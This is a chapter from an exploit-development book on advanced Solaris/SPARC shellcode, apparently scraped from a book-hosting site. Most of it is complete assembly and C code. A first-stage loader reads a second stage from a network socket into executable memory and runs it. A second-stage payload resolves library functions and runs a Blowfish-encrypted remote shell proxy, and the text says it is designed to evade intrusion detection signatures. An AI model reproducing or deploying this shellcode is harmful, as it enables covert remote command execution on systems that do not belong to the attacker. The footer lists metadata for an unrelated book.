Advanced SolarisSPARC Shellcode

Advanced Solaris/SPARC Shellcode

Unix shellcode is traditionally implemented by means of consecutive system calls that achieve basic connectivity and privilege escalation goals, such as spawning a shell and connecting it to a network socket. Connectback, findsocket, and bindsocket shellcodes are the most commonly used and widely available shellcode that essentially gives a remote attacker shell access. This common usage of the same shellcode in exploit development gives signature based IDS vendors an easy way to detect exploits. Byte matching the exact shellcode or common operations is not all that useful, but IDS vendors have had much success in matching commands that pass over the newly spawned shell. If you are interested in IDS signature development, we recommend Intrusion Detection with Snort , by Jack Koziol. The book contains a few excellent chapters on developing Snort signatures from raw packet captures.

For example, Unix commands such as uname “a , ps , id , and ls “l that are found passing over the network in clear text on ports such as 22, 80, and 443 are big red flags for most IDSs. Consequently, IDSs all have rules to detect such activity. Other than couple of depreciated protocols ( rlogin, rsh, telnet ), you should never see Unix commands flying around on your network in clear text. This is one of the major pitfalls of modern Unix shellcode, if not the biggest pitfall.

Let's look at a rule from the Snort IDS (version 2.0.0).

 alert ip any any -> any any (msg:"ATTACK RESPONSES id check returned root";  content: "uid=0(root)" ; classtype:bad-unknown; sid:498; rev:3;) 

This rule triggers when uid=0(root) is found on the wire. There are several similar examples in attack-responses.rules that is distributed with the Snort network IDS.

In this chapter we will introduce end-to-end encryption for shellcode. We will even take this approach to the extreme and use blowfish encryption for our shellcode in order to totally encrypt data communication. During the initial effort to build the blowfish encryption communication channel, we found yet another major limitation of the recent Unix shellcode. Current shellcode technologies are based on direct system call execution ( int 0x80, ta 0x8 ), which ends up being very limiting for developing complex tasks . Therefore, we need capabilities to locate and load various libraries in our address space and use various library functions (API) to achieve our goals. Win32 exploit development has benefited from the awesome flexibility of loading libraries, and then locating and using APIs for various tasks for quite a long time. (These techniques are covered in great detail in the Windows chapters of this book.) Now, it is time for Unix shellcode to start using _dlsym() and _dlopen() to implement innovative methods such as blowfish-encrypted communication channels or using libpcap to sniff network traffic within the shellcode.

We will achieve the aforementioned goals using a two-stage shellcode. The first shellcode, using the classic tricks, will set up an execution environment for the second shellcode. The initial shellcode has three stages: first, using system calls to step up a new anonymous memory map for the second-stage shellcode; second, reading in the second-stage shellcode to the new memory region; and third, flushing the instruction cache over the new region (just to be safe) and finalizing it by jumping to it. Also, before the jump, we should note that the second-stage shellcode will be expecting the network socket number in the %i1 register, so we need to set that up before the jump. What follows is the first-stage shellcode in both assembly and pseudo code:

 /* assuming "sock" will be the network socket number. whether hardcoded  or found by getpeername() tricks */ /* grab an anonymous memory region with the mmap system call */ map = mmap(0, 0x8000, PROT_READPROT_WRITEPROT_EXEC,  MAP_ANONMAP_SHARED, -1,  0);     /* read in the second-stage shellcode from the network socket */ len = read(sock, map, 0x8000);     /* go over the mapped region len times and flush the instruction cache */  for(i = 0; i < len; i+=4, map += 4)         iflush map;     /* set the socket number in %i1 register and jump to the newly mapped region */ _asm_("mov sock, %i1"); f = (void (*)()) map; f(sock); 

Now, let's take the above pseudo code and convert it to SPARC assembly.

 .align 4         .global main         .type    main,#function         .proc   04 main:         ! mmap(0, 0x8000, PROT_READPROT_WRITEPROT_EXEC, MAP_ANONMAP_SHARED, - 1, 0);         xor     %l1, %l1, %o0   ! %o0 = 0         mov     8, %l1         sll     %l1, 12, %o1    ! %o1 = 0x8000         mov     7, %o2          ! %o2 = 7         sll     %l1, 28, %o3         or      %o3, 0x101, %o3 ! %o3 = 257         mov     -1, %o4         ! %o4 = -1         xor     %l1, %l1, %o5   ! %o5 = 0         mov     115, %g1        ! SYS_mmap        115         ta      8               ! mmap             xor     %l2, %l2, %l1   ! %l1 = 0         add     %l1, %o0, %g2   ! addr of new map           ! store the address of the new memory region in %g2              ! len = read(sock, map, 0x8000);             ! socket number can be hardcoded, or use getpeername tricks         add     %i1, %l1, %o0   ! sock number assumed to be in %i1         add     %l1, %g2, %o1   ! address of the new memory region         mov     8, %l1                     sll     %l1, 12, %o2      ! bytes to read 0x8000         mov     3, %g1          ! SYS_read        3         ta      8               ! trap to system call             mov     -8, %l2         add     %g2, 8, %l1 loop:         flush   %l1 - 8            ! flush the instruction cache         cmp     %l2, %o0        ! %o0 = number of bytes read         ble,a   loop            ! loop %o0 / 4 times         add     %l2, 4, %l2      ! increment the counter     jump:         !socket number is already in %i1         sub     %g2, 8, %g2         jmp     %g2 + 8            ! jump to the maped region         xor     %l4, %l5, %l1      ! delay slot         ta      3            ! debug trap, should never be reached ... 

The initial shellcode will produce the following output if traced with /usr/_bin/ truss :

 mmap(0x00000000, 32768, PROT_READPROT_WRITEPROT_EXEC, MAP_SHAREDMAP_ANON, -1,  0) = 0xFF380000 read(0, 0xFF380000, 32768)     (sleeping...) aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  .... read(0, " a a a a a a a a a a a a".., 32768)    = 43 Incurred fault #6, FLTBOUNDS  %pc = 0x84BD8584 siginfo: SIGSEGV SEGV_MAPERR addr=0x84BD8584 Received signal #11, SIGSEGV [default] siginfo: SIGSEGV SEGV_MAPERR addr=0x84BD8584         *** process killed *** 

As you can see, we successfully mapped an anonymous memory region ( 0xff380000 ) and read() in bunch of a characters from the stdin and jumped to it. Execution eventually stopped , and we got a SIGSEGV (segmentation fault), because a row of 0x61 characters does not make much sense.

We will now start to assemble the various concepts for the second-stage shellcode and finalize this chapter. Step-by-step execution flow of the second stage shellcode is followed by the shellcode itself with both its assembly and C components . Let's take a look at pseudo code so you can better understand what is happening.

 - open() /usr/lib/ld.so.1 (dynamic linker). - mmap() ld.so.1 into memory (once again). - locate _dlsym in newly mapped region of ld.so.1 - search .dynsym, using .dynstr (dynamic symbol and string tables) - locate and return the address for _dlsym() function - using _dlsym() locate dlopen, fread, popen, fclose, memset, strlen ... - dlopen() /usr/local/ssl/lib/libcrypto.so (this library comes with openssl) - locate BF_set_key() and BF_cfb64_encrypt() from the loaded object  (libcrypto.so) - set the blowfish encryption key (BF_set_key()) - enter a proxy loop (infinite loop that reads and writes to the network  socket) 

The proxy loop pseudo code is as follows:

 - read() from the network socket (client sends encrypted data) - decrypt whatever the exploit send over. (using BF_cfb64_encrypt() with  DECRYPT flag) - popen() pipe the decrypted data to the shell - fread() the output from the shell (this is the result of the piped command) - do an strlen() on the output from popen() (to calculate its size) - encrypt the output with the key (using BF_cfb64_encrypt() with ENCRYPT flag) - write() it to the socket (exploit side now needs to decrypt the response) - memset() input and output buffers to NULL - fclose() the pipe    jump to the read() from socket and wait for new commands 

Let's go ahead with the real code.

 ----------- BF_shell.s ------------------------------------       .section      ".text"       .align 4       .global main       .type      main,#function       .proc      04 main:       call      next       nop !use %i1 for SOCK next:       add      %o7, 0x368, %i2      !functable addr              add      %i2, 40, %o0      !LDSO string       mov      0, %o1       mov      5, %g1            !SYS_open       ta      8           mov      %o0, %i4            !fd       mov      %o0, %o4              !fd       mov      0, %o0            !NULL             sethi      %hi(16384000), %o1      !size       mov      1, %o2                  !PROT_READ       mov      2, %o3                  !MAP_PRIVATE       sethi        %hi(0x80000000), %g1       or        %g1, %o3, %o3       mov      0, %o5                  !offset       mov      115, %g1                  !SYS_mmap       ta      8              mov      %i2, %l5            !need to store functable to temp reg       mov     %o0, %i5            !addr from mmap()       add      %i2, 64, %o1      !"_dlsym" string             call      find_sym       nop       mov      %l5, %i2            !restore functable           mov      %o0, %i3            !location of _dlsym in ld.so.1           mov      %i5, %o0                  !addr       sethi      %hi(16384000), %o1      !size       mov      117, %g1                  !SYS_munmap       ta      8           mov      %i4, %o0                  !fd       mov      6, %g1                  !SYS_close       ta      8           sethi      %hi(0xff3b0000), %o0    !0xff3b0000 is ld.so base in every process       add      %i3, %o0, %i3            !address of _dlsym()       st      %i3, [ %i2 + 0 ]            !store _dlsym() in functable           mov      -2, %o0       add      %i2, 72, %o1            !"_dlopen" string       call      %i3       nop       st      %o0, [%i2 + 4]            !store _dlopen() in functable           mov      -2, %o0       add      %i2, 80, %o1            !"_popen" string       call      %i3       nop       st      %o0, [%i2 + 8]            !store _popen() in functable           mov      -2, %o0       add      %i2, 88, %o1            !"fread" string       call      %i3       nop       st      %o0, [%i2 + 12]            !store fread() in functable           mov      -2, %o0       add      %i2, 96, %o1            !"fclose" string       call      %i3       nop       st      %o0, [%i2 + 16]            !store fclose() in functable              mov      -2, %o0       add      %i2, 104, %o1            !"strlen" string       call      %i3       nop       st      %o0, [%i2 + 20]            !store strlen() in functable           mov      -2, %o0       add      %i2, 112, %o1            !"memset" string       call      %i3       nop       st      %o0, [%i2 + 24]            !store memset() in functable           ld      [%i2 + 4], %o2            !_dlopen()       add      %i2, 120, %o0            !"/usr/local/ssl/lib/libcrypto.so" string       mov      257, %o1                  !RTLD_GLOBAL  RTLD_LAZY       call      %o2       nop           mov      -2, %o0       add      %i2, 152, %o1            !"BF_set_key" string       call      %i3       nop       st      %o0, [%i2 + 28]            !store BF_set_key() in functable           mov      -2, %o0       add      %i2, 168, %o1            !"BF_cfb64_encrypt" string       call      %i3                        !call _dlsym()       nop       st      %o0, [%i2 + 32]            !store BF_cfb64_encrypt() in functable           !BF_set_key(&BF_KEY, 64, &KEY);       !this API overwrites %g2 and %g3       !take care!         add     %i2, 0xc8, %o2          ! KEY       mov      64, %o1                  ! 64       add      %i2, 0x110, %o0            ! BF_KEY         ld      [%i2 + 28], %o3         ! BF_set_key() pointer         call    %o3         nop           while_loop:           mov      %i1, %o0            !SOCKET       sethi      %hi(8192), %o2              !reserve some space       sethi      %hi(0x2000), %l1       add      %i2, %l1, %i4            ! somewhere after BF_KEY           mov      %i4, %o1                  ! read buffer in %i4       mov      3, %g1                  ! SYS_read       ta      8           cmp      %o0, -1                  !len returned from read()       bne      proxy       nop       b      error_out                  !-1 returned exit process        nop     proxy:       !BF_cfb64_encrypt(in, out, strlen(in), &key, ivec, &num, enc); DECRYPT       mov      %o0, %o2            ! length of in       mov      %i4, %o0            ! in       sethi   %hi(0x2060), %l1       add      %i4, %l1, %i5            !duplicate of out       add     %i4, %l1, %o1            ! out               add     %i2, 0x110, %o3         ! key       sub      %o1, 0x40, %o4            ! ivec       st      %g0, [%o4]                  ! ivec = 0       sub      %o1, 0x8, %o5            ! &num       st      %g0, [%o5]                  ! num = 0       !hmm stack stuff..... put enc [%sp + XX]       st     %g0, [%sp+92]            !BF_DECRYPT    0         ld      [%i2 + 32], %l1       ! BF_cfb64_encrypt() pointer         call    %l1         nop                 mov      %i5, %o0                  ! read buffer       add      %i2, 192, %o1            ! "rw" string       ld      [%i2 + 8], %o2            ! _popen() pointer       call      %o2       nop           mov      %o0, %i3            ! store FILE *fp           mov      %i4, %o0            ! buf       sethi      %hi(8192), %o1            ! 8192       mov      1, %o2                  ! 1       mov      %i3, %o3                  ! fp       ld      [%i2 + 12], %o4            ! fread() pointer        call      %o4       nop              mov      %i4, %o0                  !buf       ld      [%i2 + 20], %o1            !strlen() pointer       call      %o1, 0       nop           !BF_cfb64_encrypt(in, out, strlen(in), &key, ivec, &num, enc); ENCRYPT       mov      %o0, %o2                  ! length of in       mov      %i4, %o0                  ! in            mov      %o2, %i0                  ! store length for write(.., len)          mov     %i5, %o1                 ! out         add     %i2, 0x110, %o3       ! key         sub     %i5, 0x40, %o4        ! ivec         st      %g0, [%o4]            ! ivec = 0         sub     %i5, 0x8, %o5         ! &num         st      %g0, [%o5]            ! num = 0       !hmm stack shit..... put enc [%sp + 92]       mov      1, %l1       st      %l1, [%sp+92]            !BF_ENCRYPT      1         ld      [%i2 + 32], %l1       ! BF_cfb64_encrypt() pointer         call    %l1         nop                 mov      %i0, %o2            !len to write()       mov      %i1, %o0            !SOCKET       mov      %i5, %o1            !buf       mov      4, %g1            !SYS_write       ta      8           mov      %i4, %o0                  !buf       mov      0, %o1                  !0x00       sethi      %hi(8192), %o2       or      %o2, 8, %o2                  !8192       ld      [%i2 + 24], %o3            !memset() pointer       call      %o3, 0       nop           mov      %i3, %o0       ld      [%i2 + 16], %o1       !fclose() pointer       call      %o1, 0       nop           b      while_loop       nop     error_out:       mov      0, %o0       mov      1, %g1            !SYS_exit       ta       8     ! following assembly code is extracted from the -fPIC (position independent)  ! compiled version of the C code presented in this section. ! refer to find_sym.c for explanation of the following assembly routine. find_sym:       ld      [%o0 + 32], %g3       clr     %o2       lduh    [%o0 + 48], %g2       add     %o0, %g3, %g3       ba      f1       cmp     %o2, %g2 f3:       add     %o2, 1, %o2       cmp     %o2, %g2       add     %g3, 40, %g3 f1:       bge     f2       sll     %o5, 2, %g2       ld      [%g3 + 4], %g2       cmp     %g2, 11       bne,a        f3       lduh    [%o0 + 48], %g2       ld      [%g3 + 24], %o5       ld      [%g3 + 12], %o3       sll     %o5, 2, %g2 f2:       ld      [%o0 + 32], %g3       add     %g2, %o5, %g2       sll     %g2, 3, %g2       add     %o0, %g3, %g3       add     %g3, %g2, %g3       ld      [%g3 + 12], %o5       and     %o0, -4, %g2       add     %o3, %g2, %o4       add     %o5, %g2, %o5 f5:       add     %o4, 16, %o4 f4:       ldub    [%o4 + 12], %g2       and     %g2, 15, %g2       cmp     %g2, 2       bne,a        f4       add     %o4, 16, %o4       ld      [%o4], %g2       mov     %o1, %o2       ldsb    [%o2], %g3       add     %o5, %g2, %o3       ldsb    [%o5 + %g2], %o0       cmp     %o0, %g3       bne     f5       add     %o2, 1, %o2       ldsb    [%o3], %g2 f7:       cmp     %g2, 0       be      f6       add     %o3, 1, %o3       ldsb    [%o2], %g3       ldsb    [%o3], %g2       cmp     %g2, %g3       be      f7       add     %o2, 1, %o2       ba      f4       add     %o4, 16, %o4 f6:       jmp     %o7 + 8       ld      [%o4 + 4], %o0 functable:         .word 0xbabebab0        !_dlsym         .word 0xbabebab1        !_dlopen         .word 0xbabebab2        !_popen         .word 0xbabebab3        !fread         .word 0xbabebab4        !fclose         .word 0xbabebab5        !strlen         .word 0xbabebab6        !memset         .word 0xbabebab7        !BF_set_key         .word 0xbabebab8        !BF_cfb64_encrypt         .word 0xffffffff     LDSO:         .asciz  "/usr/lib/ld.so.1"         .align 8 DLSYM:         .asciz  "_dlsym"         .align 8 DLOPEN:         .asciz  "_dlopen"         .align 8 POPEN:         .asciz  "_popen"         .align 8 FREAD:         .asciz  "fread"         .align 8 FCLOSE:         .asciz  "fclose"         .align 8 STRLEN:         .asciz  "strlen"         .align 8 MEMSET:         .asciz  "memset"         .align 8 LIBCRYPTO:         .asciz  "/usr/local/ssl/lib/libcrypto.so"         .align 8 BFSETKEY:         .asciz  "BF_set_key"         .align 8 BFENCRYPT:         .asciz  "BF_cfb64_encrypt"         .align 8 RW:       .asciz      "rw"       .align 8 KEY:             .asciz       "6fa1d67f32d67d25a31ee78e487507224ddcc968743a9cb81c912a78ae0a0ea9"       .align 8 BF_KEY:         .asciz  "12341234" !BF_KEY storage, actually its way larger        .align 8 

As mentioned in shellcode's comments, the find_sym() function is a simple C routine that parses the section header of the dynamic linker, finding the dynamic symbol table and the string table for us. Next, it tries to locate the requested function by parsing the entries in the dynamic symbol table and comparing the strings in the string table with the requested function's name .

 --------------- find_sym.c ---------------------------------------- #include <stdio.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/elf.h> #include <fcntl.h> #include <sys/mman.h> #include <libelf.h>     u_long find_sym(char *, char *);     u_long find_sym(char *base, char *buzzt) {   Elf32_Ehdr *ehdr;   Elf32_Shdr *shdr;   Elf32_Word *dynsym, *dynstr;   Elf32_Sym  *sym;   const char *s1, *s2;   register int i = 0;         ehdr = (Elf32_Ehdr *) base;         shdr = (Elf32_Shdr *) ((char *)base + (Elf32_Off) ehdr->e_shoff);         /* look for .dynsym */         while( i < ehdr->e_shnum){              if(shdr->sh_type == SHT_DYNSYM){                         dynsym = (Elf32_Word *) shdr->sh_addr;                         dynstr = (Elf32_Word *) shdr->sh_link;                         //offset to the dynamic string table's section header                         break;          }              shdr++, i++;      }         shdr = (Elf32_Shdr *) (base + ehdr->e_shoff);      /* this section header represents the dynamic string table */     shdr += (Elf32_Word) dynstr;      dynstr = (Elf32_Addr *) shdr->sh_addr; /*relative location of .dynstr*/         dynstr += (Elf32_Word) base / sizeof(Elf32_Word); /* relative to virtual */     dynsym += (Elf32_Word) base / sizeof(Elf32_Word); /* relative to virtual */             sym = (Elf32_Sym *)  dynsym;             while(1) {             /* first entry is in symbol table is always empty, pass it */                 sym++; /* next entry in symbol table */                     if(ELF32_ST_TYPE(sym->st_info) != STT_FUNC)                         continue;                     s1 = (char *) ((char *) dynstr + sym->st_name);                 s2 = buzzt;                     while (*s1 == *s2++)                         if (*s1++ == 0)                                 return sym->st_value;         }     } 


The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net